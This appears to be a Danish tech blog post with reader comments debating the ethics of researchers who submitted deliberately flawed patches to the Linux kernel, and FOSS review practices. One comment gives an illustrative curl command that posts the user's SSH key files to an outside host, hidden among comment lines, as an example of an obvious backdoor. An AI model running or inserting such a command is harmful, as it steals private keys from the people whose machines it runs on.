Ny Religiøs Fanatisme

Der er ballade i Linux kernel-miljøet, fordi nogle forskere har givet sig til at undersøge hvor nemt det er at få godtaget patches der introducerer fejl.

Se f.eks.

Jeg har selv argumenteret at selvfølig er FOSS koden og miljøet trojan'ed, fordi vi er alt for godtroende.

Men det er tydeligvis ikke sådan alle ser på det.

Der er ret mange der føler at denne forskning går langt over grænsen, med en argumentation der kan koges ind til "Linux er jo the good guys".

Pt. har en eller anden pigefornærmet kernel-maintainer forbudt hele det pågældende universitet at sende patches til Linux kernen.

Universitetet har reageret præcis lige så hovedløst og uigennemtænkt som organisationer altid gør når de bliver involveret i en shitstorm: De har med det samme kastet forskerne under bussen.

Det tyder ellers på at forskerne havde fået godkendt deres projekt hos universitetets etiske råd (med en punch line om at forskningen ikke involverer human subjects).

Jeg har meget svært ved at se nogen relevant forskel på denne shitstorm og den der opstod da og et åndelige fællesskab ville bestemme hvem i verden der må lave grafiske repræsentationer af hvad.

I min verden er det 100% legit emne at forske i om FOSS miljøers kvalitetssikring virker som det påstås.

Og når vi hylder pen-testing i alle mulige andre sammenhænge, kan vi ikke deklamere at det er helligbrøde at bruge det på FOSS miljøer.

Det ville være religiøs fanatisme af værste skuffe.

phk

Kommentarer (37)
sortSortér kommentarer
  • Ældste først
  • Nyeste først
  • Bedste først
#3 Henrik Juul Størner

Det der vist fik Greg K-H til at se rødt var at de

  1. gjorde det flere gange over længere tid uden at fortælle nogen om det
  2. ikke revertede deres sikkerhedshullede patches

Jeg er enig i at det er fair nok at teste om en sikkerhedsfunktion virker (det gør jeg dagligt). Men når man har konstateret at der er et problem så må man gøre opmærksom på det, og gøre skaden god igen. Det er standard "responsible disclosure" i min verden.

Hvordan ville det være håndteret i FreeBSD? Spørgsmålet er oprigtigt ment og uden bagtanker - hvis vi kan lære noget af hinanden i FOSS, så bør vi da gøre det.

  • 37
  • 0
#4 Joakim Crafack

Jeg tænker reaktionen er ganske naturlig.

FOSS har (i min optik) sine rødder i et meritokratisk miljø som er meget selvregulerende.

Dertil kommer at en af grundstene i udviklingsmodellen er, at alle kan læse koden og råbe vagt i gevær hvis noget er galt. Dette er blevet en sovepude for det kritiske review der bør gå forud for accept af patches.

At et hold forskere på denne måde peger fingre og siger at kejseren jo ikke har tøj på, er et hårdt angreb på udviklingsmodellen, fordi den umiddelbare løsning er at indføre et mere robust og tidskrævende review.

Jeg ved det ikke, men lige netop dette FOSS projekt har gode muligheder for at have ansatte mainatiners, men de fleste andre FOSS-projekter hviler på passion og frivillighed.

  • 15
  • 0
#5 Lars Skovlund

Der var noget med et dansk medie og noget vandalisme mod Wikipedia engang. Man kan sagtens lave forskning (eller undersøgende journalistik, for that matter) uden at ødelægge det for andre - og pentesting (ikke at jeg mener begrebet er relevant her, med mindre det får elastik grænsende til det meningsløse) er normalt med samtykke.

  • 4
  • 0
#7 Poul-Henning Kamp Blogger

Jeg tænker reaktionen er ganske naturlig.

Hvis du med "naturlig" mener "menneskelig", så ja, et er meget menneskeligt at blive fornærmet når ens selvopfattelse bliver klædt af mod ens vilje.

Mit problemer at jeg kunne erstatte "FOSS" i dit indlæg med navnet på enhver veletableret religion uden at det forandrede meningen synderligt.

Hvordan vi i FOSS opfatter os selv bør kontinuert kalibreres efter den rolle vi spiller i civilizationen, at vi engang har været et "broderkskab" betyder ikke at vi for evigt kan opføre os som et sådant.

  • 14
  • 3
#9 Jørgen Elgaard Larsen

På den ene side mener jeg absolut, at det er relevant at pen-teste FOSS.

På den anden side vil ethvert FOSS-projekt segne, hvis alle og enhver beslutter sig for at spamme med defekte commits.

Jeg kan godt forstå, at Greg er irriteret over at skulle bruge tid på at reviewe ondsindede commits - og at skulle rydde op efter dem, der er kommet ind.

Men han overreagerer tydeligvis.

Undersøgelsen illustrer tydeligt, at der er et problem. Og nej, forskerne kan ikke bare reverte deres ondsindede commits - det er jo også interessant at se, hvor længe de forbliver uopdagede.

Det ville være godt, hvis man kunne opfinde en ansvarlig måde at teste injektion i FOSS uden at drukne vedligeholderne.

  • 21
  • 2
#15 Jesper Stein Sandal

Hvis man læser deres paper (og som jeg også havde hørt det refereret), så virker det ganske forsvarligt udført - og som et relevant eksperiment.

Der er ikke tale om commits direkte til kernel-rep, men derimod forslag til patches, der blev sendt til en mailing-liste. Hvis forslagene blev accepteret, så blev der taget kontakt til maintainerne om fejlene, og den korrekte fejlrettelse blev indsendt.

Den korrekte reaktion ville være at se på, om man kunne beskytte patch-processen mod denne type angreb (hvor en række små og hver for sig tilsyneladende uskyldige fejlrettelser kædes sammen til at skabe et sikkerhedshul). Hvis nogle forskere på et universitet kan gøre det, hvem kan så ellers?

Men man har selvfølgelig ramt de pågældende maintainers et sted, hvor det gør ondt på deres profesionnel ego. I forhold til, hvad man ellers lader sikkerhedsfolk slippe af sted med ved pentest (f.eks. phishing-tests med emner, der vedrører folks personlige sikkerhed, økonomi eller sundhed), så er det umiddelbart i den milde ende. Burde man have sikret sig, at forsøgspersonerne var indforstået med forsøget. Ja, det burde man nok.

  • 15
  • 1
#16 Kristian Thy

Hvis man opdager at en pen-test slipper igennem, og man er good guy, så opretter man vel en sag i cve.mitre.org og kører den vej igennem?

Hvordan vil du lave en CVE på at du har lavet social engineering?

  • 2
  • 0
#17 Uffe Seerup

Jeg kan godt forstå, at Greg er irriteret over at skulle bruge tid på at reviewe ondsindede commits - og at skulle rydde op efter dem, der er kommet ind.

Bare for at slå det fast: Der blev aldrig - iflg forskerne selv - lavet et pull request med den fejlagtige (ondsindede?) kode. De sendte "differne" på mail til maintainerne, og hvis en maintainer godkendte forslaget, så kontaktede de maintaineren for at sikre, at han/hun ikke gik videre med den fejlagtige kode, og samtidigt så sendte de et pull request som ikke var manipuleret til at være ondsindet fejlramt.

Og nej, forskerne kan ikke bare reverte deres ondsindede commits - det er jo også interessant at se, hvor længe de forbliver uopdagede.

Der er ikke noget at reverte. Ingen af de sendte pull requests indehold ondsindede commits. De ondsindede rettelser blev alene beskrevet i mails.

  • 14
  • 1
#19 Poul-Henning Kamp Blogger

Så vi ikke en ret chokerende indstilling i forbindelse med Netgate/Wireguard skandalen?

Nej, egentlig ikke.

Processen i FreeBSD er meget anderledes end den er i Linux og selvom der fløj nogle gnister fra forskellige kantede personligheder, virkede processen som den skulle.

Om det så stadig er den rigtige process har der været en del kommunikation om efterfølgende.

  • 4
  • 2
#21 Poul-Henning Kamp Blogger

Mit indtryk er at FreeBSD havde svært ved at anerkende problemet, og det finder jeg langt mere alvorligt.

Ars' udlægning er mildest talt sensationalistisk og det gør ingenting bedre at den antager existensen af en beslutningsproces og magtstruktur som FreeBSD simpelthen ikke har.

For et projekt som Linux, er svaret på "er problemet anerkendt?" simpelthen om Linus har fattet det eller ej, case closed, det kan enhver journalist finde ud af.

For et demokratisk-anarkistisk projekt som FreeBSD, hvor vi har en demokratisk valgt bestyrelse men ingen præsident, vil det samme spørgsmål ikke have et klart ja/nej svar, med mindre du taler med de rigtige ansvarshavende.

De relevante centrale udviklere var helt opmærksomme på problemet meget tidligt, mens andre funktioner i projektet f.eks ports/docs/cluster endnu ikke var berørt og derfor ikke interesserede sig overhovedet.

Specifikt havde core/bestyrelsen ikke brug for, eller grund til at at blande sig, så længe ting og procedurer virkede som de skulle og sagen ikke var eskaleret til dem.

Men hvis du kigger på det igennem en linse, hvor du forventer klart defineret pyramidestruktur kun en enkelt almægtig person i toppen, er det nemt at nå til den konklusion at ingen aner hvad der foregår.

Men som sagt, selvom ting virkede som de skulle, har det givet projektet grund til at overveje om der er noget vi bør gøre anderledes fremover.

  • 7
  • 1
#22 Jesper Nielsen

Jeg er helt enig i at det 100% legitimt at forske i om FOSS miljøers kvalitetssikring virker som det påstås. Du skriver jo også at Netgate sagen har givet grund til at FreeBSD overvejer om der er noget der bør gøres anderledes fremover.

Da jeg læste dit indlæg kom jeg bare til at tænke på ”Det bedste forsvar er et angreb”, og jeg undrede mig over at jeg ikke kan finde nogen stedet hvor du giver din udlægning af Wireguard sagen

  • 6
  • 0
#25 Poul-Henning Kamp Blogger

Da jeg læste dit indlæg kom jeg bare til at tænke på ”Det bedste forsvar er et angreb”, og jeg undrede mig over at jeg ikke kan finde nogen stedet hvor du giver din udlægning af Wireguard sagen

Jeg har ikke selv været involveret i Wireguard sagen og har derfor ikke rigtig noget at tilføje til hvad andre fra projektet allerede har fremlagt og som sagt, er min klare opfattelse at processen virkede som vi forventede.

Derfor ikke ligefrem en "Man bites dog" historie set herfra ?

  • 4
  • 0
#26 Poul-Henning Kamp Blogger

Forresten:

Hvis vi skal yde den valgte overskrift "FreeBSD 13's close call" retfærdighed, burde vi tale om den OpenSSL vulnerability der mindre end en uge inden 13's release-day blev varslet til to dage efter. Det var en meget tættere barbering end wireguard nogensinde kom i nærheden af :-)

  • 6
  • 0
#27 Michael Cederberg

... kan man heller ikke fikse samme.

Problemet er grundlæggende hvilke forventninger man kan have til andre aktører. Hvis jeg går i el-giganten og køber en vaskemaskine, så har jeg både legale forventninger til hvordan sælger/butik agerer samt hvordan producenten agerer. I et miljø hvor jeg betaler for en service eller et produkt, så har jeg berettigede forventninger til modparten.

Det hele bliver mere mudret i en situation hvor jeg ikke betaler. For hvad kan jeg forvente af den lokale fodboldklub og knægtens minitputhold? Den slags fungerer fint i normalsituationen, men hvad når det går galt? Fx. hvem sørger for at der bliver ryddet op når der har været indbrud?

Og når processerne bliver komplekse, så sker det nemt at A regner med at B tjekker om X er i orden og B regner med at A gør det. Den slags virker ikke altid selv når det er folks betalte arbejde det handler om ... når det handler om frivilligt arbejde er det endnu sværere.

Jeg er naturligvis klar over at Linux kernel developers er i en gråzone, men det ændrer ikke ved det overordnede problem omkring software og specielt FOSS. Hvilke forventninger kan man have til dem der udgiver software og er det godt nok til at køre sin butik på samme? Er der noget vi kunne gøre for at ondsindede fejl fanges bedre uden at udviklingsprocessen kører fast?

Linux er måske et af de mindre problemer. Hvad med de tusinder af software pakker som udviklere downloader hver eneste dag uden at forstå hvem der har lavet det, hvilke tjeks der er af pakkerne, etc. Software pakker som kun har en håndfuld maintainers og hvor ganske få kloden rundt nogensinde kigger indgående på koden.

  • 2
  • 0
#30 Benjamin Balder

Det er nemt i ALLE typer software at snige fejl ind. Uanset om det er FOSS eller kommercielt eller selveste Linux-kernen: Hvis man som forfatter af en patch påstår, at det virker efter hensigten.

Selv med automatisk test og QA når vi ikke til et punkt, hvor ny og u-afprøvet kodes uforudsigelige effekter detekteres 100%.

Det er ikke et bevis for, at man kan snige bagdøre ind. Der er ret stor forskel på

# This is a comment and very long blah blah blah blah  
# blah blah blah blah blah blah blah blah blah blah  
$(curl -X POST --data-binary @- https://blahblah.io < `cat ~.ssh/*` )  
# blah blah blah blah blah blah blah blah blah blah

Og så et stykke kode med en fejl i et namespace. Det er svært at opdage, fordi variablen ved en fejl incrementeres to steder, men der aldrig opstår en exception.

var i;  
function blah() {  
   // Do stuff...  
   i++;  
}  
for (i=0; i<no_objects; i++) {  
  blah()  
}

Vores blikke ville undre sig over sikkerhedshullet i første eksempel og til gengæld er vores hjerner nok for dovne til at overveje, at i anvendes i det globale scope.

  • 1
  • 0
#36 Magnus Jørgensen

Pt. har en eller anden pigefornærmet kernel-maintainer forbudt hele det pågældende universitet at sende patches til Linux kernen.

Universitetet har reageret præcis lige så hovedløst og uigennemtænkt som organisationer altid gør når de bliver involveret i en shitstorm: De har med det samme kastet forskerne under bussen.

Det er lidt af et person angreb der Poul-Henning. Hvis et system er baseret på tillid, må man trække tilliden tilbage hvis den part der har fået tilliden bryder sig imod den. Det kan jo ikke være anderledes. Personligt tror jeg at man vil lave nogle tiltag så man kan styre tilliden mere fin delt.

  • 3
  • 0
#37 Nis Schmidt

UNIX stamtræ

Som andre trends i OS-historien, når FOSS-bevægelsen nok også på et tidspunkt sit klimaks. Derfra bliver accellerationen kun mindre - og man kan have svært ved at erkende nogen fortsat udvikling i "sagen".

Når "tilliden" er væk, hvad er der så tilbage? Det går vel som i andre fortællinger om "Babelstårnet"? Forskellighederne vokser og efterhånden glemmes det fælles ophav. Kun "turen" står tilbage - og den kan der altid skrives nye "heltekvad" om.

Dette kvad handler om: når drengebander bliver "pigefornærmede" (hvad betyder ordet?).

Det er på tide at drømme nyt, men det bliver næppe her nye drømme opstår. Jeg prøvede for måneder siden, men endte med at måtte erkende, at "departementet for undertrykkelse af viden" åbenbart har en anden agenda (som jeg hvenken kender eller forstår).

Men så kom der nyt fra MIT, Massachusetts (MA) ...

  • 0
  • 2
Log ind eller Opret konto for at kommentere